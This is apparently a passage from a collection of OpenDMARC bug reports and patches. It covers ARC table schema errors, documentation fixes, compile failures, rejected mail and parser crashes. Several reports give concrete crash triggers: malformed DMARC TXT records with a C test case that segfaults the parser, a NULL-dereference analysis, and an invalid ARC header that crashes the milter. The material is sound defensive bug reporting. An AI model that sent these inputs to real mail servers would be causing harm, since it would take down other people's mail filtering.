         +9Ys6xIXtRqFRAtMb0zdm+WKvCnZ8e3lCoRtZ+QawJArQvMwprGhVc7P8nhSU4Wd3e5C
         vEVd8pUslRJYTxgeTMCewcZhDXY7kDOydUZKBiWRjD6X2O1DZElshB9tYV95TVrAo6as
         CKFVx45lr2kWipFbFBaZjP+V7XwcCUlxw+yN9bkDkaHRLGiGT7rqKLtXUY/fzCR1WDWR
         Ye9fBxjlZChtp0rEX2TsazdJoia5oKqhmyphzvT2uq9LPwDjCi8kIfa8BQevupBaRcWC
         Ykgw==
X-Gm-Message-State: APzg51BfasD8PlncJnhsVNjszl7ezBrbjFwMH2dEsdjBn9V2V4AJWsot
	/3k+0HRqegkcgONlsfEGNEfM2A==
X-Google-Smtp-Source: ANB0VdZuc4gaQkHU6i8uoFETdqXZNIwM1Lqgq84MkXOTcnSSmUDtfvyDXiiiJG32d4AzZ4EbKYWhxw==
X-Received: by 2002:aca:d5d4:: with SMTP id m203-v6mr5231563oig.32.1537774214512;
        Mon, 24 Sep 2018 00:30:14 -0700 (PDT)
X-BeenThere: [email protected]
Received: by 2002:a9d:280b:: with SMTP id m11-v6ls2874114otb.0.gmail; Mon, 24
 Sep 2018 00:29:52 -0700 (PDT)
X-Received: by 2002:a9d:3204:: with SMTP id t4-v6mr6187281otc.303.1537774192206;
        Mon, 24 Sep 2018 00:29:52 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1537774192; cv=none;
        d=google.com; s=arc-20160816;
        b=bImjE0Q1FJ/bncLbASw3pK4sQTBZ8zBMve6U2XweG8GMp8vy1A4IIwywMlqSSNxM6W
         c3yLy8t6dKc/s5llphVpmgzq7v9Kz6L8XKrOyqvZhhEr2nyX06xGp1oD+OJB2DzEavUs
         5oxnUNQfMzMMRcfR4vn9OVLf/YcnOEmQXD4mgxH2QhhamnhDiZIr6YxIooa40PDbGMgJ
         FfnmaqnrNNIvUeMHH7cvuvLrW/VGuPWfHZd8Cthi1l5vV432I8cwoZAV6cs69NvkxCjL
         jAQx0AojUVCZM4QmCXLKubMKw4fe7fN0Xeio/84rO5Dc6Ttj5axqglAbV1YWR/GG3g3R
         x7kw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=to:subject:message-id:date:from:sender:mime-version:dkim-signature;
        bh=2IdX4oaLAAhXusTYGZYqR6o5a3w42/IpyIkhHsYl7do=;
        b=m781NZ6ECRFzEraG/GNefZ75NGbQ/9jvuBX6adC/DKR2JgYk9LMr4XYMHY6HVVw2Da
         oCdqc4c7xdKlWB9FbbUNGgAGfAhyINbhmq4Mb7O6lnRKROyeGpYslsJB08zeMwjKLFIq
         JXVOkj6BoMbp9V86EDwvzuqQoniOZ7gtgT38hhUnlRLVNrN4e7J0LBtnV5bmHbHZJq7e
         X2N9zU+8dRvqFObVRwr9kVoXoTysPSTPmOzKcx26dKkGfmCZAgEA+/OJG77YRXlUFsfd
         +0GUCSN4qBwkhV22NlkLkWpS6HWLvB/fPRCxonwFUrOPLZwRL/NsRVQKbqr+K8w2VuWO
         IkPQ==
ARC-Authentication-Results: i=1; mx.google.com;
       dkim=pass [email protected] header.s=google header.b="H0ofvx/z";
       spf=pass (google.com: domain of [email protected] designates 209.85.220.65 as permitted sender) [email protected];
       dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=get-chop.host
Received: from mail-sor-f65.google.com (mail-sor-f65.google.com. [209.85.220.65])
        by mx.google.com with SMTPS id p5-v6sor2656219otg.202.2018.09.24.00.29.52
        for <[email protected]>
        (Google Transport Security);
        Mon, 24 Sep 2018 00:29:52 -0700 (PDT)
Received-SPF: pass (google.com: domain of [email protected] designates 209.85.220.65 as permitted sender) client-ip=209.85.220.65;
X-Received: by 2002:a9d:4ea:: with SMTP id 97-v6mr5396943otm.99.1537774191886;
 Mon, 24 Sep 2018 00:29:51 -0700 (PDT)
Received: from 656312975917 named unknown by gmailapi.google.com with
 HTTPREST; Mon, 24 Sep 2018 03:29:51 -0400
MIME-Version: 1.0
Sender: [email protected]
From: [email protected]
Date: Mon, 24 Sep 2018 03:29:51 -0400
Message-ID: <CADKNWO_v_6Ey3gzSTi6EEBV6ZNpR4_B3FM9k-mLVDqvrjek0KQ@mail.gmail.com>
Subject: Your_Report_is_READY...
To: [email protected]
Content-Type: multipart/alternative; boundary="00000000000073cc4b057698f4e1"
X-Original-Sender: [email protected]
X-Original-Authentication-Results: mx.google.com;       dkim=pass
 [email protected] header.s=google header.b="H0ofvx/z";       spf=pass
 (google.com: domain of [email protected] designates 209.85.220.65 as
 permitted sender) [email protected];       dmarc=pass
 (p=NONE sp=NONE dis=NONE) header.from=get-chop.host
Precedence: list
Mailing-list: list [email protected]; contact [email protected]
List-ID: <dns91.get-chop.host>
X-Spam-Checked-In-Group: [email protected]
X-Google-Group-Id: 100579821027
List-Post: <https://groups.google.com/a/get-chop.host/group/dns91/post>, <mailto:[email protected]>
List-Help: <https://support.google.com/a/get-chop.host/bin/topic.py?topic=25838>,
 <mailto:[email protected]>
List-Archive: <https://groups.google.com/a/get-chop.host/group/dns91/>
List-Unsubscribe: <mailto:[email protected]>,
 <https://groups.google.com/a/get-chop.host/group/dns91/subscribe>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3, milter_id=7fda.5ba89288.1038d4df
X-Scanned-By: MIMEDefang 2.84

Note that there are two ARC-Seal headers from google.com with the same selector.

I believe the issue here is that the UNIQUE KEY(message, domain, selector) index on the arcseals table needs to also include the instance column.

Also: despite the error above, the opendmarc-import script exited with a zero exit status so my daily opendmarc script completed its execution, including deleting the imported data file. Shouldn't a SQL error cause the script to exit with a non-zero status so that the data is preserved and can be examined to determine the source of the error?

Also: shouldn't all the database inserts for a single message be enclosed in a transaction and rolled back if any of the database inserts for that message fail, rather than leaving part of the data for the message in the database in an inconsistent state?

Communicate the reason over SMTP, when a mail is rejected due rudiculous headers

diff --git a/opendmarc/opendmarc.c b/opendmarc/opendmarc.c
--- a/opendmarc/opendmarc.c
+++ b/opendmarc/opendmarc.c
@@ -2361,6 +2361,7 @@ mlfi_eom(SMFICTX *ctx)
                               "%s: RFC5322 requirement error: %s",
                               dfc->mctx_jobid, reqhdrs_error);
                }
+               dmarcf_setreply(ctx, DMARC_REJECT_SMTP, DMARC_REJECT_ESC, reqhdrs_error);
 
                return SMFIS_REJECT;
        }

opendmarc_strl.c

opendmarc_strl.c:53:14: warning: this old-style function definition is not preceded by a prototype [-Wstrict-prototypes]
dmarc_strlcpy(dst, src, size)
             ^
opendmarc_strl.c:99:14: warning: this old-style function definition is not preceded by a prototype [-Wstrict-prototypes]
dmarc_strlcat(dst, src, size)
             ^

opendmarc/opendmarc.conf.{5.in,sample}: update documentation

diff --git a/RELEASE_NOTES b/RELEASE_NOTES
--- a/RELEASE_NOTES
+++ b/RELEASE_NOTES
@@ -31,7 +31,7 @@ release, and a summary of the changes in that release.
        Feature request #127: Log SPF results when rejecting.  Requested
                by Patrick Wagner; patch from Andreas Schulze, follow-up
                patch from Juri Haberland.
-       Feature request #138: Inculde policy and disposition information
+       Feature request #138: Include policy and disposition information
                in an Authentication-Results comment.  Based on a patch
                from Juri Haberland.
        Feature request #139: Include the client host name if known
diff --git a/announcement b/announcement
--- a/announcement
+++ b/announcement
@@ -21,7 +21,7 @@ release:
        Feature request #127: Log SPF results when rejecting.  Requested
                by Patrick Wagner; patch from Andreas Schulze, follow-up
                patch from Juri Haberland.
-       Feature request #138: Inculde policy and disposition information
+       Feature request #138: Include policy and disposition information
                in an Authentication-Results comment.  Based on a patch
                from Juri Haberland.
        Feature request #139: Include the client host name if known
        Feature request #139: Include the client host name if known
diff --git a/db/README.schema b/db/README.schema
--- a/db/README.schema
+++ b/db/README.schema
@@ -15,6 +15,10 @@ selectors    A table that maps selector names to unique integer IDs.
                foreign key (into the domains table) for the domain that owns the
                selector.
 
+arcautchresults        A table for logging ARC-Authentication-Results information
+
+arcseals       A table for logging ARC-Seal information
+
 reporters      A table mapping reporting hosts to unique integer IDs.
                Intended for use by multi-MX systems so it's possible to tell
                where an inbound message landed.
diff --git a/docs/README.specs.html b/docs/README.specs.html
--- a/docs/README.specs.html
+++ b/docs/README.specs.html
@@ -18,7 +18,7 @@
   <a href="https://tools.ietf.org/html/rfc7208">
        RFC7208: Sender Policy Framework (SPF) for Authorizing Use of Domains in Email, Version 1 [PROPOSED STANDARD]
   </a> <br>
-  
+
   <h2> Email Format </h2>
   <a href="http://tools.ietf.org/html/rfc5322">
        RFC5322: Internet Message Format [DRAFT STANDARD]
diff --git a/opendmarc/opendmarc.8.in b/opendmarc/opendmarc.8.in
--- a/opendmarc/opendmarc.8.in
+++ b/opendmarc/opendmarc.8.in
@@ -125,7 +125,7 @@ above).  May be specified more than once to request increasing amounts of
 output.
 .TP
 .I \-V
-Print the version number and supported canonicalization and signature
+Print the version number, whether SPF support is compiled in and libmilter version
 algorithms, and then exit without doing anything else.
 .SH SIGNALS
 Upon receiving SIGUSR1, if the filter was started with a configuration
@@ -159,8 +159,10 @@ RFC5321 \- Simple Mail Transfer Protocol
 .P
 RFC5322 \- Internet Messages
 .P
-RFC5451 \- Message Header Field for Indicating Message Authentication Status
-.P
 RFC6376 \- DomainKeys Identified Mail
 .P
 RFC6591 \- Authentication Failure Reporting Using the Abuse Reporting Format
+.P
+RFC7489 \- Domain-based Message Authentication, Reporting, and Conformance (DMARC)
+.P
+RFC7601 \- Message Header Field for Indicating Message Authentication Status
diff --git a/opendmarc/opendmarc.conf.5.in b/opendmarc/opendmarc.conf.5.in
--- a/opendmarc/opendmarc.conf.5.in
+++ b/opendmarc/opendmarc.conf.5.in
@@ -15,7 +15,8 @@ specification for message authentication, policy enforcement, and reporting.
 This file is its configuration file.
 
 Blank lines are ignored.  Lines containing a hash ("#") character are
-truncated at the hash character to allow for comments in the file.
+truncated at the hash character to allow for comments in the file.  Lines
+longer than 1024 characters are also truncated.
 
 Other content should be the name of a parameter, followed by white space,
 followed by the value of that parameter, each on a separate line.
@@ -190,11 +191,14 @@ report.  It is expected that this will not be used in its raw form, but
 rather periodically imported into a relational database from which the
 aggregate reports can be extracted using
 .B opendmarc-importstats(8).
+For each record, the file is opened, locked, the data is appended, and the file
+in unlocked: when the file is renamed by the user on the filesystem, opendmarc
+will create a new file.
 
 .TP
 .I IgnoreAuthenticatedClients (Boolean)
 If set, causes mail from authenticated clients (i.e., those that used
-SMTP AUTH) to be ignored by the filter.  The default is "false".
+SMTP AUTH) to be ignored by the filter.
 
 .TP
 .I IgnoreHosts (string)
@@ -211,8 +215,8 @@ no mail is ignored.
 
 .TP
 .I MilterDebug (integer)
-Sets the debug level to be requested from the milter library.  The
-default is 0.
+Sets the debug level to be requested from the milter library.  Six is the
+highest useful value.
 
 .TP
 .I PidFile (string)
@@ -241,7 +245,6 @@ If set, messages will be rejected if they fail the DMARC evaluation, or
 temp-failed if evaluation could not be completed.  By default, no message will
 be rejected or temp-failed regardless of the outcome of the DMARC evaluation of
 the message.  Instead, an Authentication-Results header field will be added.
-The default is "false".
 
 .TP
 .I ReportCommand (string)
@@ -249,7 +252,7 @@ Indicates the shell command to which failure reports should 
be passed for
 delivery when
 .I FailureReports
 is enabled.  Defaults to
-.I /usr/sbin/sendmail.
+.I /usr/sbin/sendmail -t -odq.
 
 .TP
 .I RequiredHeaders (Boolean)
@@ -294,14 +297,14 @@ version, and the job ID are included in the header field's contents.
 .I SPFIgnoreResults (Boolean)
 Causes the filter to ignore any SPF results in the header of the
 message.  This is useful if you want the filter to perfrom SPF checks
-itself, or because you don't trust the arriving header.  The default is "false".
+itself, or because you don't trust the arriving header.
 
 .TP
 .I SPFSelfValidate (Boolean)
 Causes the filter to perform a fallback SPF check itself when
 it can find no SPF results in the message header.  If SPFIgnoreResults
 is also set, it never looks for SPF results in headers and
-always performs the SPF check itself when this is set.  The default is "false".
+always performs the SPF check itself when this is set.
 
 .TP
 .I Syslog (Boolean)
@@ -322,9 +325,13 @@ The default is "mail".
 .I TrustedAuthservIDs (string)
 Provides a list of authserv-ids that are to be used to identify
 Authentication-Results header fields whose contents are to be assumed as valid
-input for the DMARC assessment.  To provide a list, separate values by commas.
-If the string "HOSTNAME" is provided, the name of the host running the filter
-(as returned by the
+input for the DMARC assessment.  If
+.I AuthservIDWithJobID
+is set and the authserv-ids of the inspected AR header is not found in
+.I TrustedAuthservIDs
+then the JobId is appended when matching.  To provide a list, separate values
+by commas.  If the string "HOSTNAME" is provided, the name of the host running
+the filter (as returned by the
 .I gethostname(3)
 function) will be used.  Matching against this list is case-insensitive.  The
 default is to use the value of
@@ -370,10 +377,12 @@ Copyright (c) 2012-2015, 2018, The Trusted Domain Project.  All rights reserved.
 .P
 RFC4408 \- Sender Policy Framework
 .P
-RFC5451 \- Message Header Field for Indicating Message Authentication Status
-.P
 RFC5965 \- An Extensible Format for Email Feedback Reports
 .P
 RFC6376 \- DomainKeys Identified Mail
 .P
 RFC6591 \- Authentication Failure Reporting Using the Abuse Reporting Format
+.P
+RFC7489 \- Domain-based Message Authentication, Reporting, and Conformance (DMARC)
+.P
+RFC7601 \- Message Header Field for Indicating Message Authentication Status
diff --git a/opendmarc/opendmarc.conf.sample b/opendmarc/opendmarc.conf.sample
index 1e483f9..cfa7413 100644
--- a/opendmarc/opendmarc.conf.sample
+++ b/opendmarc/opendmarc.conf.sample
@@ -286,12 +286,12 @@
 # RejectFailures false
 
 ##  ReportCommand string
-##     default "/usr/sbin/sendmail -t"
+##     default "/usr/sbin/sendmail -t -odq"
 ##
 ##  Indicates the shell command to which failure reports should be passed for
 ##  delivery when "FailureReports" is enabled.
 #
-# ReportCommand /usr/sbin/sendmail -t
+# ReportCommand /usr/sbin/sendmail -t -odq
 
 ##  RequiredHeaders { true | false }
 ##     default "false"
@@ -370,8 +370,10 @@
 ##     default HOSTNAME
 ##
 ##  Specifies one or more "authserv-id" values to trust as relaying true
-##  upstream DKIM and SPF results.  The default is to use the name of
-##  the MTA processing the message.  To specify a list, separate each entry
+##  upstream DKIM and SPF results.  If AuthservIDWithJobID is set and the
+##  authserv-ids of the inspected AR header is not found in TrustedAuthservIDs
+##  then the JobID is appended when matching.  The default is to use the name of
+##  the MTA processing the message.   To specify a list, separate each entry
 ##  with a comma.  The key word "HOSTNAME" will be replaced by the name of
 ##  the host running the filter as reported by the gethostname(3) function.
 #

opendmarc-1.3.2 segfaults on some invalid inputs

When trying to use opendmarc's parser to validate DMARC records from the Alexa top1m, I discovered 2 TXT records that cause Opendmarc to seg fault.

These are the domains whose TXT records cause this.

$ dig TXT _dmarc.bbsv2.net +short
"v=DMARC1; p=reject; rua=mailto:[email protected]; ruf=mailto:[email protected]; rf=afrfruf=mailto:[email protected]; fo=1; pct=100; rf=afrf"
$ dig TXT _dmarc.laclaqueta.com +short
"v=DMARC1; p=none; rua=mailto:[email protected] rua=mailto:[email protected] rua=mailto:produccio" "[email protected] rua=mailto:[email protected] rua=mailto:[email protected] rua=mailto:crosad" "[email protected]  rua=mailto:[email protected] rua=mailto:[email protected]" "  rua=mailto:[email protected] rua=mailto:[email protected] rua=mailto:[email protected]"

test_dmarc_parse_segfault.c

Here is a test case that segfaults.

#include "../opendmarc_internal.h"
#ifndef OPENDMARC_POLICY_C
# define OPENDMARC_POLICY_C
#endif /* ! OPENDMARC_POLICY_C */
#include "../dmarc.h"

#define TESTFILE "testfiles/effective_tld_names.dat"

typedef struct {
	char *dmarc;
	int   outcome;
} TEST_DMARC_PARSE_T;

int
main(int argc, char **argv)
{
	TEST_DMARC_PARSE_T *dpp;
	TEST_DMARC_PARSE_T dpp_test[] = {
		/* 19 */ {"v=DMARC1; p=reject; rua=mailto:[email protected]; ruf=mailto:[email protected]; rf=afrfruf=mailto:[email protected]; fo=1; pct=100; rf=afrf",DMARC_PARSE_ERROR_BAD_VALUE},
			{NULL, 0},
	};
	int	pass, fails, count;
	DMARC_POLICY_T *pctx;
	OPENDMARC_STATUS_T status;
	
	pass = fails = count = 0;
	for (dpp = dpp_test; dpp != NULL && dpp->dmarc != NULL; ++dpp)
	{
		printf("\tTesting %s and expecting %d\n", dpp->dmarc, dpp->outcome);
		count += 1;
		pctx = opendmarc_policy_connect_init("1.2.3.4", 0);
		if (pctx == NULL)
		{
			(void) fprintf(stderr, "opendmarc_policy_connect_init: %s\n", strerror(errno));
			return 1;
		}
		status = opendmarc_policy_parse_dmarc(pctx, "bbsv2.net", dpp->dmarc);
		if (status == dpp->outcome)
		{
			printf("\tDMARC Policy Parse: %d: PASS\n", count);
			pass += 1;
		}
		else
		{
			printf("\tDMARC Policy Parse: %d: \"%s\", status=%d  FAIL\n", count, dpp->dmarc, status);
			fails += 1;
		}
		pctx = opendmarc_policy_connect_shutdown(pctx);
	}
	printf("DMARC Policy Parse: pass=%d, fail=%d\n", pass, fails);
	return fails;
}

compiling and running:

user@research-box:~/opendmarc-1.3.2/libopendmarc$ gcc -DHAVE_CONFIG_H -I. -I.. -I. -I.. -DCONFIG_BASE=\"/usr/local/etc\" -g -O2 -MT opendmarc_policy.lo -MD -MP -c tests/test_dmarc_parse_segfault.c  -fPIC -DPIC -o tests/test_dmarc_parse_segfault.o
user@research-box:~/opendmarc-1.3.2/libopendmarc$ gcc -DHAVE_CONFIG_H -I. -I.. -I. -I.. -DCONFIG_BASE=\"/usr/local/etc\" -g -O2 -MT -MD -MP -fPIC -DPIC *.o tests/test_dmarc_parse_segfault.o -o tests/test_dmarc_parse_segfault -lresolv
user@research-box:~/opendmarc-1.3.2/libopendmarc$ ./tests/test_dmarc_parse_segfault 
	Testing v=DMARC1; p=reject; rua=mailto:[email protected]; ruf=mailto:[email protected]; rf=afrfruf=mailto:[email protected]; fo=1; pct=100; rf=afrf and expecting 4
Segmentation fault (core dumped)

SIGSEGV in opendmarc_policy_parse_dmarc()

opendmarc_policy.c:1060ff reads for 1.3.2 and master:

			xp = opendmarc_util_cleanup(xp, xbuf, sizeof xbuf);
			if (xp != NULL || strlen((char *)xp) > 0)
				{

I'm pretty sure there should be a '&&' instead of '||' to prevent NULL dereference.

At least this causes coredumps here for:

# host -t txt _dmarc.varo-inform.com
_dmarc.varo-inform.com descriptive text "v=DMARC1\; p=reject\; sp=reject\; rf=mailto:[email protected]\; pct=100\; ri=86400"

Incorrect rejection even sender server is listed in SPF

Dear developers,

We experienced few incorrect rejections by OpenDMARC-1.3.2, even sender server IP address is explicitly listed in SPF. Here's the latest one (on Debian 10):

Postfix log:

Sep 11 09:46:05 mail postfix/cleanup[319]: 46Sv8s1Vd4z1x2H: milter-reject:
  END-OF-MESSAGE from mta202a-ord.mtasv.net[104.245.209.202]: 5.7.1
  rejected by DMARC policy for bitpanda.com; from=<[email protected]>
  to=<[email protected]> proto=ESMTP helo=<mta202a-ord.mtasv.net>

DNS records of the bitpanda.com mentioned in Postfix log:

v=spf1 mx include:_spf.mlsend.com include:spf.mtasv.net include:_spf.google.com include:amazonses.com ~all

DNS records of sender domain "pm.mtasv.net":

v=spf1 include:spf.mtasv.net ~all
v=DMARC1; p=none; pct=100; rua=mailto:<email>,mailto:<email>; sp=none; aspf=r;

SPF of spf.mtasv.net:

v=spf1 ip4:50.31.156.96/27 ip4:104.245.209.192/26 ip4:50.31.205.0/24 ip4:147.160.158.0/24 ~all

Sender server IP 104.245.209.202 is in network 104.245.209.192/26 (spf of spf.mtasv.net).

According to its DMARC record aspf=r, this email should be passed. But it's actually rejected.

Client disabled OpenDMARC and received further emails from same sender and sender server, it's normal business emails like he received before (from same sender and sender server).

This is just one of the few similar incorrect rejections. As a temporarily solution, we have to ask clients to disable OpenDMARC until it's fixed by upstream and updated by Linux vendors via yum/apt repo.

milter crashes on invalid ARC-Authentication-Results header

This ARC-Authentication-Results header causes OpenDMARC to crash:

ARC-Authentication-Results:i=1; mrouter01.cs.umd.edu; dkim=pass (1024-bit rsa key sha256)
  header.d=cs.umd.edu [email protected] header.b=wYOPRSsy header.a=rsa-sha256
  header.s=csmx; (null)=pass; (null)=pass (MX Record found) smtp.domain=cs.umd.edu
  policy.org_domain=umd.edu policy.is_org=no; arc=none smtp.client-ip=128.8.128.201

The header is invalid because two of the methods listed in it are (null).

The crash occurs later after parsing, when mlfi_oem calls opendmarc_ares_list_pluck with a null aar_hdr because the one AAR header in the message couldn't be parsed, and that function asserts that aar_hdr is non-null and crashes.

An invalid header should not cause the milter to crash; it should, instead, behave as if the ARC seal is not there at all, or as if it comes from an untrusted domain, or as if it's not there at all. Any of these would be preferable to crashing.

DMARC not failing subdomains

I recently implemented OpenDMARC on Debian8 (Jessie) and have observed an issue with "RejectFailures true" and subdomains. I have a policy on a test domain (test.com) I'm playing with:

v=DMARC1; p=none; sp=reject; rua=mailto:[email protected]; ruf=mailto:[email protected]; pct=100; fo=1

What's important is that I have sp set to reject, ie reject on subdomains. What I'm seeing is if I send an email from [email protected] it works OK (this is what I would expect as p=none) however when I send an email from [email protected] it also works. Under this situation shouldn't it fail?

When forwarding to Gmail I see the correct behaviour, [email protected] is accepted, but [email protected] isn't.

Any ideas?

Compilation error

  CC       opendmarc-opendmarc.o
  CC       opendmarc-opendmarc-ar.o
  CC       opendmarc-opendmarc-arcares.o
opendmarc-arcares.c: In function โ€˜opendmarc_arcares_parseโ€™:
opendmarc-arcares.c:261:5: warning: implicit declaration of function โ€˜strlcpyโ€™; did you mean โ€˜strncpyโ€™? [-Wimplicit-function-decla
ration]
     strlcpy(aar->authserv_id, tag_value, sizeof aar->authserv_id);
     ^~~~~~~
     strncpy
opendmarc-arcares.c: In function โ€˜opendmarc_arcares_arc_parseโ€™:
opendmarc-arcares.c:310:23: warning: implicit declaration of function โ€˜MIN_OFโ€™; did you mean โ€˜MINโ€™? [-Wimplicit-function-declarati
on]
  memcpy(tmp, hdr_arc, MIN_OF(strlen(hdr_arc), sizeof tmp - 1));
                       ^~~~~~
                       MIN
  CC       opendmarc-opendmarc-arcseal.o
opendmarc-arcseal.c: In function โ€˜opendmarc_arcseal_parseโ€™:
opendmarc-arcseal.c:233:4: warning: implicit declaration of function โ€˜strlcpyโ€™; did you mean โ€˜strncpyโ€™? [-Wimplicit-function-decla
ration]
    strlcpy(as->algorithm, tag_value, sizeof as->algorithm);
    ^~~~~~~
    strncpy
  CC       opendmarc-opendmarc-dstring.o
  CC       opendmarc-parse.o
  CC       opendmarc-test.o
  CC       opendmarc-util.o
  CCLD     opendmarc
/usr/local/lib/gcc/x86_64-pc-linux-gnu/7.3.1/../../../../x86_64-pc-linux-gnu/bin/ld: opendmarc-opendmarc-arcares.o: in function `o
pendmarc_arcares_arc_parse':
/git/opendmarc-github/opendmarc/opendmarc-arcares.c:310: undefined reference to `MIN_OF'
collect2: error: ld returned 1 exit status
make[3]: *** [Makefile:528: opendmarc] Error 1
make[3]: Leaving directory '/git/opendmarc-github/opendmarc'
make[2]: *** [Makefile:838: all-recursive] Error 1
make[2]: Leaving directory '/git/opendmarc-github/opendmarc'
make[1]: *** [Makefile:484: all-recursive] Error 1
make[1]: Leaving directory '/git/opendmarc-github'
make: *** [Makefile:395: all] Error 2

fix:

--- a/opendmarc/opendmarc-arcares.c
+++ b/opendmarc/opendmarc-arcares.c
@@ -21,6 +21,11 @@
 # include <bsd/string.h>
 #endif /* USE_BSD_H */
 
+/* libstrl if needed */
+#ifdef USE_STRL_H
+# include <strl.h>
+#endif /* USE_STRL_H */
+
 #include "opendmarc-arcares.h"
 
 #define OPENDMARC_ARCARES_MAX_FIELD_NAME_LEN 255
@@ -307,7 +312,7 @@ opendmarc_arcares_arc_parse (u_char *hdr_arc, struct arcares_arc_field *arc)
        memset(arc, '\0', sizeof *arc);
        memset(tmp, '\0', sizeof tmp);
 
-       memcpy(tmp, hdr_arc, MIN_OF(strlen(hdr_arc), sizeof tmp - 1));
+       memcpy(tmp, hdr_arc, MIN(strlen(hdr_arc), sizeof tmp - 1));
 
        while ((token = strsep((char **)&tmp_ptr, " ;")) != NULL)
        {
diff --git a/opendmarc/opendmarc-arcseal.c b/opendmarc/opendmarc-arcseal.c
--- a/opendmarc/opendmarc-arcseal.c
+++ b/opendmarc/opendmarc-arcseal.c
@@ -22,6 +22,11 @@
 
 #include "opendmarc-arcseal.h"
 
+/* libstrl if needed */
+#ifdef USE_STRL_H
+# include <strl.h>
+#endif /* USE_STRL_H */
+
 #define OPENDMARC_ARCSEAL_MAX_FIELD_NAME_LEN 255
 #define OPENDMARC_ARCSEAL_MAX_TOKEN_LEN      512
 

Besides, there are MAX_OF and MIN_OF in opendmarc/opendmarc-arcseal.c.

Tables arcauthresults and arcseal are not mentioned in db/README.schema.

DMARC aggregate report doesn't follow RFC guidelines

I've noticed the aggregate reports from opendmarc-reports v1.3.2 do not follow RFC7489 Appendix C guidelines and schema.

Attachment:
Attachment media type invalid (should be "application/gzip" not "application/zip")
Attachment filename doesn't follow ABNF (should be "xml.gz", not "zip")

Missing elements:
Parent: version
PolicyPublishedType: fo
DKIMAuthResultType: selector
SPFAuthResultType: scope
SPFAuthResultType: domain
ReportMetadataType: email (missing when not set by client, this should be mandatory).
IdentifierType: envelope_from (empty is allowed for messages with a null reverse-path)

It looks like the report generator is based on the pre IETF drafts (2013) as described here.

Compilation fails on macOS 10.14.1

Trying to compile from the develop branch on macOS 10.14.1 but it fails.


Making all in opendmarc
gcc -DHAVE_CONFIG_H -I. -I..  -I/opt/local/include -I./../libopendmarc -DCONFIG_BASE=\"/usr/local/etc\" -D_THREAD_SAFE -pthread -g -O2 -MT opendmarc-config.o -MD -MP -MF .deps/opendmarc-config.Tpo -c -o opendmarc-config.o `test -f 'config.c' || echo './'`config.c
mv -f .deps/opendmarc-config.Tpo .deps/opendmarc-config.Po
gcc -DHAVE_CONFIG_H -I. -I..  -I/opt/local/include -I./../libopendmarc -DCONFIG_BASE=\"/usr/local/etc\" -D_THREAD_SAFE -pthread -g -O2 -MT opendmarc-opendmarc.o -MD -MP -MF .deps/opendmarc-opendmarc.Tpo -c -o opendmarc-opendmarc.o `test -f 'opendmarc.c' || echo './'`opendmarc.c
opendmarc.c:1464:45: error: invalid application of 'sizeof' to an incomplete
      type 'struct hsearch_data'
        conf->conf_domainwhitelisthash = calloc(1, sizeof(struct hsearch_data));
                                                   ^     ~~~~~~~~~~~~~~~~~~~~~
opendmarc.c:194:9: note: forward declaration of 'struct hsearch_data'
        struct hsearch_data *   conf_domainwhitelisthash;

opendmarc.c:1465:6: warning: implicit declaration of function 'hcreate_r' is
      invalid in C99 [-Wimplicit-function-declaration]
        if (hcreate_r(whitelistsize, conf->conf_domainwhitelisthash) == 0)
            ^
opendmarc.c:1512:10: warning: assigning to 'u_char *' (aka 'unsigned char *')
      from 'char *' converts between pointers to integer types with different
      sign [-Wpointer-sign]
                domain = cur->list_str;

Many similar warnings follow.

opendmarc/opendmarc_arcseal_parse: don't crash if the ARC-Seal header ends with semicolon

... in which case opendmarc_arcseal_strip_whitespace(NULL) is called and the assert within fails

diff --git a/opendmarc/opendmarc-arcseal.c b/opendmarc/opendmarc-arcseal.c
--- a/opendmarc/opendmarc-arcseal.c
+++ b/opendmarc/opendmarc-arcseal.c
@@ -227,6 +227,8 @@ opendmarc_arcseal_parse(u_char *hdr, struct arcseal *as)
 
                leading_space_len = strspn(token, " \n");
                token_ptr = token + leading_space_len;
+               if (*token_ptr == '\0')
+                       return 0;
                tag_label = strsep(&token_ptr, "=");
                tag_value = opendmarc_arcseal_strip_whitespace(token_ptr);
 

Is opendmarc alive?

There seems to be little to no activity and no release for quite a long time.
Is the project alive?
If not, what is the alternative (fork, other work etc)?
thanks,

opendmarc milter needs shorter DNS lookup timeouts (?) to avoid freaking out sendmail

Recent spam I received:

Sep 23 08:01:10 myhostname sendmail[20145]: w8NC160P020145: from=<[email protected]>, size=2051, class=0, nrcpts=1, msgid=<[email protected]>, proto=ESMTP, daemon=MTA, relay=mail138.cylarcom.net [201.216.208.138]
Sep 23 08:01:11 myhostname sendmail[20145]: w8NC160P020145: Milter add: header: X-Bogosity: Spam, tests=bogofilter, spamicity=1.000000, version=1.2.3, milter_id=4eb2.5ba78087.702db8f
Sep 23 08:01:11 myhostname mimedefang.pl[23745]: w8NC160P020145: MDLOG,w8NC160P020145,mail_in,,,<[email protected]>,<jik@my-email-domain>,Low interest rate loans
Sep 23 08:01:11 myhostname sendmail[20145]: w8NC160P020145: Milter add: header: X-Scanned-By: MIMEDefang 2.84
Sep 23 08:01:11 myhostname opendkim[977]: w8NC160P020145: mail138.cylarcom.net [201.216.208.138] not internal
Sep 23 08:01:11 myhostname opendkim[977]: w8NC160P020145: not authenticated
Sep 23 08:01:11 myhostname opendkim[977]: w8NC160P020145: no signing domain match for 'ceaba.org.ar'
Sep 23 08:01:11 myhostname opendkim[977]: w8NC160P020145: no signing subdomain match for 'ceaba.org.ar'
Sep 23 08:01:11 myhostname opendkim[977]: w8NC160P020145: no signature data
Sep 23 08:01:11 myhostname sendmail[20145]: w8NC160P020145: Milter insert (1): header: DKIM-Filter:  OpenDKIM Filter v2.11.0 myhostname.kamens.us w8NC160P020145
Sep 23 08:01:21 myhostname sendmail[20145]: w8NC160P020145: Milter (opendmarc): timeout before data read, where=eom
Sep 23 08:01:21 myhostname sendmail[20145]: w8NC160P020145: Milter (opendmarc): to error state
Sep 23 08:01:21 myhostname sendmail[20236]: w8NC160P020145: to=<jik@my-email-domain>, delay=00:00:11, xdelay=00:00:00, mailer=local, pri=32540, dsn=2.0.0, stat=Sent
Sep 23 08:01:24 myhostname opendmarc[24511]: w8NC160P020145: SPF(mailfrom): [email protected] pass
Sep 23 08:01:25 myhostname opendmarc[24511]: w8NC160P020145: ceaba.org.ar none
